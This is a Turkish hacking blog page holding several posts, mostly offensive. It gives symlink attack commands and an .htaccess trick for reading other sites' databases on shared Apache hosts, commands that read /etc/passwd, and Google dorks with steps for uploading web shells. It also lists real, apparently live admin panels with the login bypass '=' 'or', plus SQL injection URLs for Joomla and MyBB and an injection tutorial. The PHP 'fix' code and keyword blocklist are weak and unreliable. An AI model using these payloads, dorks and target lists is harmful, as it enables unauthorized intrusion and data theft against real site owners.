Blogda Ara

24 Mart 2017 Cuma

Sql Injection Açıkları & Bypass Engelleme

Selamün Aleyküm..

@OxyGeN arkadaşımız makaleler arşivinde aspx türleri için injection fixleme işlemini anlatmış.
Bknz : http://www.turkz.org/Forum/makaleler/sql-injection-vulnerability-engelleme.33/
Bizde bu yazımızda php türlerinde Sql injection nasıl kapatılır onu öğreneceğiz. Tavsiyem her zaman şu yöndedir kendi kurduğunuz sisteme her zaman ilk giren açığını bulan kişi olmanızdır.
Konuyu fazla uzatmadan gelelim fixleme işlemine..

Dilerseniz Panel Bypass ile başlayıp örnek fixlenmiş login formunu paylaşalım..

'=' 'or' Ve Diğer Panel Bypasslar için.
PHP:
<?php

$ourLogin 
"admin";$ourPassword "turkz";
session_start();

if (
$_SESSION['login']!=$ourLogin && $_SESSION['password']!=$ourPassword) { 


if (
$_POST['login']==$ourLogin && $_POST['password']==$ourPassword) {

$_SESSION['login'] = $_POST['login'];$_SESSION['password'] = $_POST['password'];header("Location: index.php");


}
else {


echo 
"
<form action=index.php method=post>

K. Adi :<br>
<input type=text name=login value=''><br>
Gizlilik :<br>
<input type=password name=password value=''><br>

<input type=submit value=' Tamam '>


</form>
"
;

exit;

Bu sayede admin giriş panelini filtrelemiş, gereksiz karakterleri devre dışı bırakmış olduk örnek formdur kendinize göre düzenleyiniz..

Lamer düzey Sql Atakları İçin;

KOD:
$injectcheck = preg_replace("[^À-ÿa-zA-Z0-9\\\-\.\,\:\s\r\t\n ]",'',$injectcheck);
Tüm sayfalara include ediniz.

Sql Injection Basit Ataklar ( ' -- 'a - * - 9999 vb.) İçin..

Fixlenmiş php kodları aşağıdaki gibidir, sql tehlikesi olan tüm sayfalara include ediniz. Tavsiyem sorgulama & form içeren tüm sayfalardır..


PHP:

function clearMethod($mVar){
    if(
is_array($mVar)){
        foreach(
$mVar as $gVal => $gVar){
            if(!
is_array($gVar)){
                    
$mVar[$gVal] = htmlspecialchars(strip_tags(urldecode(mysql_escape_string(addslashes(stripslashes(stripslashes(trim(htmlspecialchars_decode($gVar)))))))));  // -> Dizi olmadığını fark edip temizledik.
            
}else{
                    
$mVar[$gVal] = clearMethod($gVar);
            }
        }
    }else{
        
$mVar htmlspecialchars(strip_tags(urldecode(mysql_escape_string(addslashes(stripslashes(stripslashes(trim(htmlspecialchars_decode($mVar))))))))); // -> Dizi olmadığını fark edip temizledik.
    
}
    return 
$mVar;
    

}
// Kullanım
$_GET clearMethod($_GET); // -> GET verilerini temizledik.$_POST clearMethod($_POST); // -> POST verilerini temizledik.$_SESSION clearMethod($_SESSION); // -> SESSION verilerini temizledik.$_COOKIE clearMethod($_COOKIE); // -> COOKIE verilerini temizledik.?>
###

Basit ataklar bu yönde engellemiş olduk..
Peki bypass engelleme nasıl yapılır?


Mysql_escape_string filtreleme işlemlerini duymuşsunuzdur. Bilmeyenler googleden araştırıp öğrenebilir.. String filtreleme işlemleri bittikten sonra Sql üzerindeki kullanıcı yetkilerini gözden geçiriniz, gereksiz gördüğünüz yetkileri sınırlandırın ve ardından aşağıdaki komutlarla devam edelim..


PHP:

if(!function_exists('stripos')) {

function 
stripos_clone($haystack$needle$offset=0) {
    return 
strpos(strtoupper($haystack), strtoupper($needle), $offset);
}

} else {

function 
stripos_clone($haystack$needle$offset=0) {
    return 
stripos($haystack$needle$offset=0);
}

}

if(isset(
$_SERVER['QUERY_STRING'])) {
$queryString strtolower($_SERVER['QUERY_STRING']);

if (
stripos_clone($queryString,'%select%20') OR stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'union/*') OR stripos_clone($queryString,'c2nyaxb0') OR stripos_clone($queryString,'+union+') OR stripos_clone($queryString,'http://') OR stripos_clone($queryString,'https://') OR (stripos_clone($queryString,'cmd=') AND !stripos_clone($queryString,'&cmd')) OR (stripos_clone($queryString,'exec') AND !stripos_clone($queryString,'execu')) OR stripos_clone($queryString,'union') OR stripos_clone($queryString,'concat') OR stripos_clone($queryString,'ftp://')) {
      
echo 
base64_decode("c2lrdGlyZ2l0IGFtaW5hIGtvZHVtdSBsYW1lciBpYm5lc2k=");
exit;

}
gerekli gördüğünüz yerlere include ediniz. Ve mutlaka POST'ları strip_tags 'den geçiriniz..

Bugünlük bu kadardı..

Selametle..

23 Mart 2017 Perşembe

Symlink Bypass & Açığını Kapatmak - (whois&starter)

Selamün Aleyküm..

Bilindiği üzere linux-apache sunucularda çokca karşılaştığımız symlink açığının nasıl yapıldığı ve nasıl önlem alınacağı üzerine biraz durmak istedim..

Symlink nedir; Bağlı olduğu sunucu içinde sembolik ağ (link) oluşturma sistemidir. Sunucuda var olan bir tane oluşturulmuş symlink ile aynı sunucuda ki bütün sitelerin database dosyalarına erişim yapabilirsiniz. Kısa kodlara göz atalım. Bir siteye symlink shell attığınızı düşünelim ve işlemlere başlayalım;


Dizin Başlatma
KOD:
"ln -s /home/çekmekistediğindizin/public_html/sym.txt"


Httpdocs Çekme;
KOD:
"ln -s /home/çekmekistediğindizin/httpdocs/sym.txt"


Htaccess Oluşturma

KOD:
Options Indexes FollowSymLinks

DirectoryIndex ssssss.htm
AddType txt .php
AddHandler txt .php


Shell ve Ana dizine (Public Html - Home - Sitedocs) .htaccess dosyası atılmaz, atıldığı takdirde siteye erişim kesilir..

.htaccess (sym.txt) dosyasının bulunduğu kısma atılır yada vb. dosyası atıldıktan sonra sayfayı yenilemeniz yeterli olacak ve çektiğiniz bilgiler size yansıyacaktır. Böylece birSymlink Bypass öğrenmiş olduk. Şimdi bu açığı fixleyelim (kapatalım)..

Disable_functions bazı bypass eylemleri sonrasında güvenliğini kaybediyor..

Peki ne yapmak gerekiyor?

Apache - Linux Sistemlerinde Symlink database, conf, configuration, gibi dizinleri bypass halinde sömürebilir. Aşağıda verdiğim kodlarla erişimi engelleyebilirsiniz. Fazlasıyla faydalıdır..

Httpd.conf dosyasına aşağıdaki kodları ekleyin.

PHP:
<Directory "/home/*/public_html"
    
Options -ExecCGI 
    AllowOverride AuthConfig Indexes Limit FileInfo options
=IncludesNOEXEC,Indexes,Includes,MultiViews,SymLinksIfOwnerMatch,FollowSymLinks </Directory>
Kod ekleme işlemi bittikten sonra apache restart yapınız. Yeterli fix işlemi bu kadar ..

Etc/passwd Bypass Yapmak

KOD:
awk -F: '{ print $1 }' /etc*/passwd | sort 
KOD:
/etc*/passwd | sort  
KOD:
cd /etc; cat passwd 
KOD:
cat /etc/valiases/domain.tld 
KOD:
awk -F ":" '{print "user ****:" $ 1 "\ t \ tuid:" $ 3}' /etc/passwd

Güncel Shell Dork - Shell Uploads Dorks

###############################
#inurl:"/index.php/frontend/login/en" 
###############################
#1-CreateAccount # HESAP OLUŞTUR
###############################
#2- login # GİRİŞ YAP
###############################
#3- Add propert # PROPERT TIKLA
###############################
#4- add file > # SHELL DOSYASI 
###############################
#5- Upload shell # Site.Com/shell.php
###############################


# Farklı olan diğer dork ve erişim linkleri..

###############################
#Dork : intext:" Powered by JADBM " 
###############################
#1-CreateAccount # HESAP OLUŞTUR 
###############################
#2- login # GİRİŞ YAP
###############################
#3- Add propert # PROPERT TIKLA
###############################
#4- add file > # SHELL DOSYASI
###############################
#5- Upload shell # Site.Com/shell.php
###############################


Diğer Shell Erişim Adresleri Aşağıda...

English : Other shell access addresses.


########################
#
Site.com/data_pdf/shell.php#
#
Site.com/uploads/shell.php #
########################


# SELAMETLE..

Güncel Opencart Dorkları - Up To Date Opencart Dorks

Search : orneksite.com/index.php?route=class

Example : orneksite.com/admin/index.php



English 

Once you have written the word, click on any site. 

Then 
admin/index.php click.

Good luck...


KOD:
index.php?route=product/category
index.php?route=product
index.php?route=category
index.php?route=checkout/car
index.php?route=checkout
index.php?route=car
index.php?route=cms/demo
index.php?route=cms
index.php?route=demo
index.php?route=cms/download
index.php?route=download
index.php?route=account/login
index.php?route=information
index.php?route=product/rapid
index.php?route=video
index.php?route=information/companyinfo
index.php?route=marketplace
index.php?route=extension
index.php?route=marketplace/extension
index.php?route=ballmil
index.php?route=
index.php?route=shop
index.php?route=shopping
index.php?route=common/home
index.php?route=home
index.php?route=common

Bypass Login Scripts

KOD:
-----------------------------------------------------------------
Google Dork: inurl:cp.php?cl=cp
Username:'=' 'or' Password:'=' 'or
Admin path : /admin/
---------------------------------------------------------------------------
Google Dork: intext:"Powered By Mind Wave Softwares"
Username: '=' 'OR' Password: '=' 'OR'
admin path : /admin/
---------------------------------------------------------------------------
intext:"Design and Support by e-quota.net"
Username : '=''or' Password : '=''or'
admin path /admin/login.php
---------------------------------------------------------------------------
Google Dork :"powered by re-compile"
Username : '=''or' Password : '=''or'
admin path /admin/login.php
---------------------------------------------------------------------------
inurl:admin/login.php
Google Dork:: 2 => "Sign in to start your session"
Username : '=''or' Password : '=''or'
admin path /admin/login.php
---------------------------------------------------------------------------
Google Dork : "Designed & Developed  by:XCOMM"
Username : '=''or' Password : '=''or'
admin path /admin/login.php
---------------------------------------------------------------------------
intext:"Developed By Seawind Solution Pvt.Ltd"
Username : '=''or' Password : '=''or'
admin path : /adminpanel/index.php
---------------------------------------------------------------------------
intext:Powered by Qualsoft Systems Pvt. Ltd
Username : '=''or' Password : '=''or'
admin path : /adminlogin.php
---------------------------------------------------------------------------
http://www.agppublicschool.com/adminlogin.php
ID & PS : '=' 'or'
----------------------------------------------
http://www.dnyanada.net/adminlogin.php
ID & PS : '=' 'or'
----------------------------------------------
http://spknit.com/adminpanel/index.php
ID & PS : '=' 'or'
----------------------------------------------
http://growidus.com/adminpanel/index.php
ID & PS : '=' 'or'
----------------------------------------------
http://www.tally-education.com/admin
ID & PS : '=' 'OR'
------------------------------------
http://tallylearning.com/admin/
ID & PS : '=' 'OR'
------------------------------------
http://www.pinebaygallery.com/admin/
ID & PS : '=' 'OR'

Joomla Medialibrary Sql Injection

KOD:
# # # # #

# Exploit Title: Joomla! Component MediaLibrary Basic v3.5 - SQL Injection

# Google Dork: inurl:index.php?option=com_booklibrary

# Version: 3.5

# SQL Injection/Exploit :

# http://localhost/[PATH]/index.php/medialibrary/media/all-books/all-books/345/view/book/19[SQL]/

# http://localhost/[PATH]/index.php/medialibrary/media/all-books/all-books/345/lend_request?mid[0]=[SQL]
# # # # #

Joomla Groovy Gallery Sql

# # # # #
# Google Dork: inurl:index.php?option=com_groovygallery
# Date: 17.02.2017
# Vendor Homepage: Home
# Software Buy: Groovy Gallery - Joomla! Extension Directory
# Demo: Groovy Gallery
# Version: 1.0.0
# # # # #
# SQL Injection/Exploit :
http://localhost/[PATH]/index.php?option=com_groovygallery&view=images&filter_category=[SQL]
http://localhost/[PATH]/index.php?option=com_groovygallery&view=images&groovy_category=[SQL]

Mybb Sql Injection Vulnerabilities

Sql_query kısmına SQL kodunuzu girin

KOD:
http://www.example.com/mybb/online.php?pidsql=)[sql_query]
http://www.example.com/mybb/memberlist.php?usersearch=%'[sql_query]
http://www.example.com/mybb/editpost.php?pid='[sql_query]
http://www.example.com/mybb/forumdisplay.php?fid='[sql_query]
http://www.example.com/mybb/newreply.php?tid='[sql_query]
http://www.example.com/mybb/search.php?action=results&sid='[sql_query]
http://www.example.com/mybb/showthread.php?tid='[sql_query]
http://www.example.com/mybb/showthread.php?pid='[sql_query]
http://www.example.com/mybb/usercp2.php?tid='[sql_query]
http://www.example.com/mybb/printthread.php?tid='[sql_query]
http://www.example.com/mybb/reputation.php?pid='[sql_query]
http://www.example.com/mybb/portal.php?action=do_login&username='[sql_query]
http://www.example.com/mybb/polls.php?action=newpoll&tid='[sql_query]
http://www.example.com/mybb/ratethread.php?tid='[sql_query]

7 Mart 2017 Salı

Hacking Lesson2 - Sql Injection'a Giriş


SQL Injection nedir?

Bana göre SQL injection, dışardan ekleyebileceğimiz komutları ve sorguları çalıştıran ve bunları doğru veya yanlış olarak bizlere çıktı olarak gösteren bir sorgulama sistemidir.

Kullanıcıdan aldığı parametreleri sorgulara dönüştürme yöntemidir. Kısacası sizin girdiğiniz bilgileri veritabanına ileterek doğru ise giriş yanlış ise giriş izni vermeyen döngüsel değerlerden oluşan sorgulardır.

Sizler için sql açığı hatasını almanın ve sorgulama işlemlerini devam ettirmek için kullanılan değişken ' tek tırnak işaretidir.

SORGULAMA DEĞERLERİ

Tek tırnak dışında en etkin olarak kullanılan değerler aşağıdaki gibidir.

'a '' \  -' \  

Diyelim ki PHP kodlamasına sahip bir web sayfasından aşağıdaki gibi bir parametre alalım.


İlk olarak tek tırnak işareti ekleme taktiğini deneyelim:

turkz' or 1=1--

İsterseniz Kullanıcı adı & şifre girişinde isterseniz,

URL [ ID ]  parametresinden sonra deneyiniz.

LOGİN ÖRNEK

- Login: turkz' or 1=1--
- Pass: turkz' or 1=1--

Örnek URL : 


Her SQL açığı barındıran sitede işe yaramayabilir, bunun için '' Hidden '' gibi yöntemlerde incelenebilir. Hidden için daha sonraki dersleri takip edelim.

' or 1=1--  Ne işe yaradığını açıklığa kavuşturalım.
' or 1=1-- in neden önemli olduğuna bir örnekle bakalım.

Login'i aldatmaktan başka yollarda vardır.

Aşağıdaki gibi bir asp sayfası düşünün:


 ''hacker'' değişkene atanan değerdir. Script sistem kodlaması ASP olduğu için örnek olarak bir ASP kodu kullanılır:

v_cat = request("news")
sqlstr = "SELECT * FROM kategori WHERE PNews='" & v_cat & "'"
set rs=conn.execute(sqlstr)

Görüldüğü gibi değişkenimiz v_cat değişkenine atanıyor,
 SQL sorgusu sonucu aşağıdaki gibi oluyor:

SELECT * FROM kategori WHERE PNews='hacker'

Sorgu WHERE ('hacker') şartına uygun olarak
 birden fazla sonuç çıkartacaktır.

URL'yi aşağıdaki gibi değiştirdiğimizde ise:


Böylece v_cat değişkenimiz "hacker' or 1=1--"  oluyor..

SQL sorgusunda kullanılırsa:

SELECT * FROM kategori WHERE PNews='hacker' or 1=1--'

Sorgu, PNews 'hacker' değerine sahip olsa yada olmasa, sorguları döndürmeye devam edecektir.. -- işareti SQL sunucusuna

-- değişkeninden sonra gelen bütün girdileri gösterme yada yok et anlamına gelmektedir.

SQL Server değilse eğer, Yukardaki değeri girdiğiniz halde sorgunun geri kalanından kurtulamıyorsanız aşağıdaki değerleri denemeye devam ediniz.

' or 'a'='a

Bu şekilde SQL sorgusu aşağıdaki gibi olur:

SELECT * FROM kategori WHERE PNews='hacker' or 'a'='a'

SQL sorgusuna aşağıdakilerden birisinide deneyebilirsiniz.

or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

Hata mesajları ile kullanıcı bilgilerini çekmek :

Diyelim ki sitemiz aşağıdaki gibi olsun.


Turkz.org sitesine  admin - admin kullanıcı ve parolasıyla giriş yapıyorsunuz..

Site yazılımı - Sql'ye aşağıdaki gibi bir sorgu döndürecektir.

SELECT * FROM users WHERE name='admin' AND pass='admin'

Burda ana mantık girdiğiniz bilgiler kontrol edildikten sonra giriş sağlanacağı yada sağlanamayacağı...

 Pass alanına ise ' OR 1=1 -- yazdığımızda
gönderilip sorgulanacak değerlere  bakalım:

SELECT * FROM user WHERE name=''OR 1=1 --' AND pass=''OR 1=1 --'

Site yazılımı eğer önceden filtrelenmiş yada Fixlenmiş ise girişinize izin vermeyecektir.

Filtrelenmemiş ise girdiğiniz bilgileri ''doğru'' zannedip sizin girişinize izin verecektir.

Başka bir örnek verelim..


SQL açığının olduğunu ve olmadığını anlamak için.
 11 yerine yada sonunda yazalım.

SQL açığı olduğu için SQL hatası verecektir. Artık bu açığı kullanarak veritabanından istediğimiz veriyi elde edebiliriz.

 Listelenmiş sonuçlar gösterilirken SELECT kullanılır, Kullanıcı adı ve şifreleri, ve userleri listelemek için UNION SELECT kullanılır.

Örneğin :

www.turkz.org/hacker.php?id=11' UNION SELECT * FROM users

Sayfada bütün kullanıcılar ve şifreleri listelenecektir.

Sizlere Yararlı Örnek bir Video bırakarak şimdilik bu kadar diyorum.

[MEDIA=youtube]9NEna9kMz-Q[/MEDIA]

Database veri çekme sorguları bir sonraki derste olacaktır.
Lütfen alıntı yaparken Turkz.Org ve Nick kullanınız.

SELAMETLE \ COLD.

Statics